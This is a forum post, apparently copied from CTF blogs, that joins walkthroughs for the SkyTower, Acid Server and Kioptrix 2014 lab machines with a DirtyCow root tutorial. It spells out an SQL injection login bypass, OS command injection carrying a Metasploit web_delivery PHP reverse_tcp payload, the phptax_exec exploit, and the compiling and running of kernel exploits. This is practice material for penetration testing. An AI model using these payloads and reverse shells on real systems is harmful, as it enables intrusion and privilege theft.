Login

**NINZA** · 04-25-2020, 04:16 AM

0			0

Hello everyone. Today we’ll be walking through skytower CTF challenge. This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the “flag”.
Level: Medium
Aim: find flag.txt in the victim’s PC and obtain the root password.
Let’s go then!
Download the skytower lab from

[To see content please register here]

.
Once downloaded, let us run the netdiscover command on our terminal to find out the IP address. By this method, we found out that the IP address of the vulnerable lab is 192.168.1.123 since I am running it on the local network.
[Image: 1.png?w=687&ssl=1]

Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.123
1
nmap -A 192.168.1.123
By this scan, we found that port 80 is open so it must have a webpage associated with it.
[Image: 2.png?w=687&ssl=1]

There is also an SSH port and a proxy port too but let’s focus on webpage first. A login form opened up when I typed in the IP in the address bar of my browser that requires email ID and password to login.
[Image: 3.png?w=687&ssl=1]

Let’s try by typing :
Email: '*'
Password: '*'
1
2
Email: '*'
Password: '*'
[Image: 4.png?w=687&ssl=1]

Voila! Our blind SQL injection worked here and the SSH account details were given to us on the login.php page.
Now, we could have tried connecting to it via normal SSH but the problem is that the SSH is filtered. And since we are seeing a proxy on port 3128, let’s try and route our SSH connection through the proxy server.
Type gedit /etc/proxychains.conf and add this statement in the end:
http 192.168.1.123 3128
1
http 192.168.1.123 3128
[Image: 5.png?w=687&ssl=1]

save and exit the config file. On a new terminal window, let’s try SSH connection via that proxy.
proxychains ssh [email protected]
1
proxychains ssh [email protected]
[Image: 6.png?w=687&ssl=1]

As we can see, it immediately closed the connection upon us when we typed in the username as john and password as hereisjohn.
So, that gives us an idea that we won’t get a shell. Let’s try suffixing /bin/bash with the ssh command only
proxychains ssh [email protected] /bin/bash
1
proxychains ssh [email protected] /bin/bash
[Image: 7.png?w=687&ssl=1]

Voila! It did the trick. Type id to check the privileges.
Now, let’s check the current directory and the elements in it by:
pwd
ls –la
1
2
pwd
ls –la
We can see a bashrc file. Probably this is the file that is causing trouble in giving a shell. Let’s remove this file by:
rm .bashrc
[Image: 8.png?w=687&ssl=1]

With .bashrc gone, let’s try SSHing once more.
[Image: 9_0.png?w=687&ssl=1]

Perfect! It did give us a proper shell. Let’s type in sudo –l to check sudoers list but as you can see, john is not in the sudoers list. And we don’t know any other user too!
Let’s type netstat -antp and hope there is some service that would allow us to look for any other user.
[Image: 9_1.png?w=687&ssl=1]

Port 3306 is listening which means MySQL database would have the info of some other users for sure!
But the problem is that we don’t have the database name and the login credentials.
Remember that we have an SQL error on page 192.168.1.123/login.php maybe if we read its source code, we could find the database name and the login credentials.
Let’s read it by:
cat /var/www/login.php
1
cat /var/www/login.php
[Image: 10.png?w=687&ssl=1]

We can see that the database name is “SkyTech,” the username and password both are “root.”
Login to MySQL via:
mysql –u root –p root
1
mysql –u root –p root
[Image: 11.png?w=687&ssl=1]

Here, we run:
show tables;
select * from login;
1
2
show tables;
select * from login;
Following database appeared:
1
[EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
hereisjohn
2
[EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
ihatethisjob
3
[email protected]
senseable
So, let’s try logging in via ssh as the user Sara.
ssh sara@localhost -t /bin/sh
1
ssh sara@localhost -t /bin/sh
Type in the password as ihatethisjob
sudo -l
1
sudo -l
Now, we have a clear list of sudoers.
[Image: 12.png?w=687&ssl=1]

We finally have a directory with no password required. So, let’s try and check the contents in the directory /accounts.
We type
sudo ls /accounts/../../../root
1
sudo ls /accounts/../../../root
And a file called “flag.txt” appears!
sudo cat /accounts/../../../root/flag.txt
1
sudo cat /accounts/../../../root/flag.txt
to read the flag.txt file and we get the root password!
[Image: 13.png?w=687&ssl=1]

Congrats! We solved the Skytower CTF challenge!

The name of the Virtual machine is “Acid Server” that we are going to crack. It is a Boot2Root VM that we are going to solve. This is a web-based VM. Our main goal is to escalate the privileges to root and capture the flag.
You can download it from à

[To see content please register here]

Penetration Methodology:

Network Scanning (Nmap, netdiscover)
Directory Brute-force (dirbuster)
Abusing web page for OS command vulnerability
Exploit OS command vulnerability (Metasploit)
Gain unauthorized access into the victim’s machine
Search and download pcap file
Steal password from inside pcap file (Wireshark)
Get into the shell for privilege escalation
Import python one-liner for proper TTY shell
Switch user (su) and submit the stolen password
Take root access and capture the flag

As always start by finding the target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.103, now fire up nmap to scan the ports.
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
[Image: 2.png?w=687&ssl=1]

Nmap results are showing that there is only one port open i.e. 33447 with the services of HTTP. Please observe here that port 80 is not open that means if we want to open this IP in the browser then we have to use the port number as it will not open it by default. So now open the web page using the port number 33447.
[Image: 3.png?w=687&ssl=1]

There are only a heading and a quote on the page; nothing else but if you look at the tab on the browser, it says “/Challenge”. This can be a directory. Let’s open it.
[Image: 4.png?w=687&ssl=1]

Upon opening /Challenge, a login portal will open. Let’s learn more about /Challenge by using DirBuster. Copy the link from the browser in Target URL box and then select 2.3-medium word list in Files with the list of dirs/files box by clicking on the browse button. And then click on Start.
[Image: 5.png?w=687&ssl=1]

Clicking on start button will provide the list of directories
[Image: 6.png?w=687&ssl=1]

I went through every directory but the only cake.php was useful. Open it in the browser. When you open cake.php, the page says “ah.haan…There is long way to go..dude J”. But upon looking closely you will find the /Magic_Box is written on the tab. Let’s open it in the URL just like before.
[Image: 7.png?w=687&ssl=1]

When you open the /Magic_Box it says that access to the page is forbidden. OK! There is no problem with that.
[Image: 8.png?w=687&ssl=1]

Let’s use DirBuster again on it. Give the URL

[To see content please register here]

and 2.3 medium wordlists just as before and then click on start button.
In the result, it will show the name of the directories
[Image: 9.png?w=687&ssl=1]

Out of all those command.php is the only one that has proved to be useful. Open it in the URL. Here you will find a ping portal that means you can ping any IP address from here. Let’s try and ping an IP. (You can ping any IP but I am going to ping the default IP i.e. 127.0.0.1).
Once the IP has been pinged, go to the page source. On the page source, you can contemplate that the results of ping are showing.
[Image: 10.png?w=687&ssl=1]

Hence there are possibilities for OS command Injection and to ensure let’s run any arbitrary command such as; ls as shown above. On the page source, you can contemplate that results of ls command.
[Image: 11.png?w=687&ssl=1]

Since the page is showing the desired result that means we can use this portal to inject our virus using the web_delivery exploit. And to do so, go to the terminal of Kali an open Metasploit by typing msfconsole and then further type :
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 1
msf exploit(multi/script/web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 192.168.1.108
msf exploit(multi/script/web_delivery) set lport 4444
msf exploit(multi/script/web_delivery) exploit
1
2
3
4
5
6
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 1
msf exploit(multi/script/web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 192.168.1.108
msf exploit(multi/script/web_delivery) set lport 4444
msf exploit(multi/script/web_delivery) exploit
This exploit is a multi-exploit that means it can be used on multiple programs. Therefore, I have set the target as one because 1 refers to php and as we are using php payload we have to set the target as 1.
[Image: 12.png?w=687&ssl=1]

Now performing this exploit will give you a code. Copy this code and paste it on the ping portal after the IP that you are using to ping. And to add this code use semi-colon ( Wink

.
127.0.0.1; *<code>*
[Image: 13.png?w=687&ssl=1]

As soon as you click on submit, you will have a meterpreter session in Metasploit. Further type the following command to see the list of directories:
ls / l
1
ls / l
In the list, you will find a directory called s.bin. Let’s go into the folder and see its list of files and for that type:
cd /s.bin
ls
1
2
cd /s.bin
ls
Here, you will find a php file. Let’s read it.
cat invesgitate.php
1
cat invesgitate.php
When you read it, it shows you a message i.e. “now you have to behave like an investigator to catch the culprit”.
[Image: 14.png?w=687&ssl=1]

In the list of the directory that was previously previewed also had a folder sbin. Let’s get into that folder and see the lists of files and to do so type:
cd s.bin
ls
1
2
cd s.bin
ls
[Image: 15.png?w=687&ssl=1]

In the list of files, you can see a file named raw_vs_isi. Let’s check it out.
cd raw_vs_isi
ls
1
2
cd raw_vs_isi
ls
It contains only one file, called hint.pcapng. Let’s download it on our desktop with help of the following command.
download hint.pcapng /root/Desktop
1
download hint.pcapng /root/Desktop
[Image: 16.png?w=687&ssl=1]

Now the file is downloaded on your desktop. I explored it every packet and found a conversation in the TCP stream of the 90th packet. Just right-click on the said packet and then click on Follow option and then select TCP stream.
[Image: 17.png?w=687&ssl=1]

It will open the conversation as shown in the image below:
[Image: 18.png?w=687&ssl=1]

In the conversation, one of them says “saman and nowadays he’s known by the alias of 1337hax0r” that means saman is the username and 1337hax0r can be the password. Let’s try it. Then to access proper TTY shell we had import python one line script and Type following command to reach the terminal and here log in with the username we just found:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
su saman
1337hax0r
sudo su
1337hax0r
1
2
3
4
5
6
shell
python -c 'import pty;pty.spawn("/bin/bash")'
su saman
1337hax0r
sudo su
1337hax0r
And so you have entered the root. Now go into the folder root and see what it has to offer:
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
[Image: 19.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as Kioptrix: 2014 (#5) and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here

[To see content please register here]

Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
Surfing HTTP service ports (80 and 8080)
Identifying exploit for the vulnerable Web application
Exploiting the target via Metasploit
Get Root access and capture the flag.

Note from Author: Before we power on the VM, it is suggested to remove the network card and re-add it. For some oddball reason, it doesn’t get its IP. So just add the VM to your virtualization software, remove and then add a network card.
Lets Breach!
Start off with finding the target using :
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.159 Now scan the target with nmap:
nmap -A 192.168.1.159
1
nmap -A 192.168.1.159
[Image: 2.png?w=687&ssl=1]

With the nmap scan result, you can see that HTTP services are running on two ports i.e. ports 80, 8080
As we have HTTP service running we opened it in our browser with the IP

[To see content please register here]

. There is nothing significant on the webpage, except it says “it works!”. I tried searching inside the source code, hoping to find something useful, however, got nothing informative.
[Image: 3.png?w=687&ssl=1]

Then I remembered that HTTP service is listening on 8080 port too. So I opened the IP on the port 8080.
[Image: 8.png?w=687&ssl=1]

But the access was forbidden; however, the message didn’t seem to me as an error message. It seems more to be a message with the deliberate and intentional made-up response. I tried every method to bypass this forbidden access but nothing worked. Hence I decided to use User Agent switcher to check this page in other popular browsers like Internet Explorer.
Download the User Agent Switcher plugin in the Mozilla and perform the following
Navigate to Tools menu from the menu bar. A drop-down menu will appear. From this menu select Default User Agent. Another menu will open and from this select Internet Explorer, from this, another menu will open and from it select Internet Explorer 6.
[Image: 9.png?w=687&ssl=1]

And fortunately, we have access to the page. And found a file called phptax/
[Image: 10.png?w=687&ssl=1]

Now open this link and you will have the following page:
[Image: 11.png?w=687&ssl=1]

The page was of phptax. Phptax is a kind of CMS for Linux OS. Its aim is to develop a tax program which uses a database-less methodology that fits in one line text files. Using the phptax does not require SQL databases that are generally used in this program. And to our luck, there exists an exploit of phptax in Metasploit, for that simply type search phptax in Metasploit MSF Console.
To use this exploit simply type the following in Metasploit:
msf > use exploit/multi/http/phptax_exec
msf exploit(phptax_exec) > set rhost 192.168.1.159
msf exploit(phptax_exec) > set rport 8080
msf exploit(phptax_exec) > exploit
1
2
3
4
msf > use exploit/multi/http/phptax_exec
msf exploit(phptax_exec) > set rhost 192.168.1.159
msf exploit(phptax_exec) > set rport 8080
msf exploit(phptax_exec) > exploit
Great!! We got command shell session1 of the victim’s machine.
[Image: 12.png?w=687&ssl=1]

There is an exploit for this version of the kernel in exploit-db.com. Alternatively, we can also search with the help of searchsploit FreeBSD 9.0 command in the Kali Linux as shown below.
[Image: 13.png?w=687&ssl=1]

Copy the exploit from its default location to the Desktop:
cp /usr/share/exploitdb/exploits/freebsd/local/28718.c .
1
cp /usr/share/exploitdb/exploits/freebsd/local/28718.c .

Here, we used fetch command because wget command wasn’t working. So, using fetch is a substitute for wget command and so we are directly using it from the browser. We compile the file, save it as the kernel and provide executable permissions.
fetch

[To see content please register here]

gcc –o kernel 28718.c
chmod 777 kernel
1
2
3
fetch

[To see content please register here]

gcc –o kernel 28718.c
chmod 777 kernel
Then type the following command to execute the exploit :
./kernel
1
./kernel
As the exploit executes you will reach the root. And to confirm this type :
id
1
id
[Image: 15.png?w=687&ssl=1]

Then moving forward go to the root folder by typing :
cd /root
1
cd /root
Let’s see what directories it has and for that type :
ls
1
ls
Here we have a congrats.txt named text file and I am hoping this will be our flag so to read it type :
cat congrats.txt
1
cat congrats.txt
[Image: 16.png?w=687&ssl=1]

People say that “good things take time” but everyone knows that in today’s world everyone has everything but time especially in cyber security and hacking. But worry no more about time as we are going to present the best and time saving method to hack any Linux server/machine through DirtyCow. This is the latest vulnerability that has been found that works against every version of kernel that has ever existed till date and researchers and attackers are taking it very seriously. It’s a nine year old bug but is only discovered now. And it has already begun to be used as leverage against the digital world.

DirtyCow is the latest exploit coined against every version of kernel in Linux. It got its name as “Cow” because it works on Copy-on-Write breakage. Kernel’s memory system works by handling Copy-On-Write breakage which contains private ROM. So basically this exploit helps us to escalate privileges by modifying existing setuid files.

Now I am going to walk you through the practical of DirtyCow by creating a normal user in my Kali and then I will be guiding you through the whole practical so stay with me. The vulnerability was discovered by security researcher Phil Oester, Link

[To see content please register here]

Firstly make a new user in your kali by typing:

useradd –m raj

passwd raj

After running the above two commands it will ask you about password, here, give any password and repeat it.

Once your password is updated successfully and and user is created log into the Kali through that new user and then go to this link à

[To see content please register here]

and download the zip file.

After the downloading is done, open the zip file. Here you will find a folder; open that folder in the terminal. Now in the terminal will notice that you do not have administrative privileges and to confirm this just type:

id

After this lets check the list of directories in the folder and for that type:

ls

Futher, type:

make

And then run dcow file by typing:

./dcow

Executing the above command will show you the password. Copy this password and then type :

su

Then give the same password that you copied when asked.

And VOILA!!! You have the access to the root!!

Conclusion: Using this we are modifying Copy-On-Write cache in kernel. By modifying we are changing contents of any readable and mapable file. It can alter any file but that changes affect cache memory only that means after rebooting the changes will be back to normal. Hence, letting us have the access to root.

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis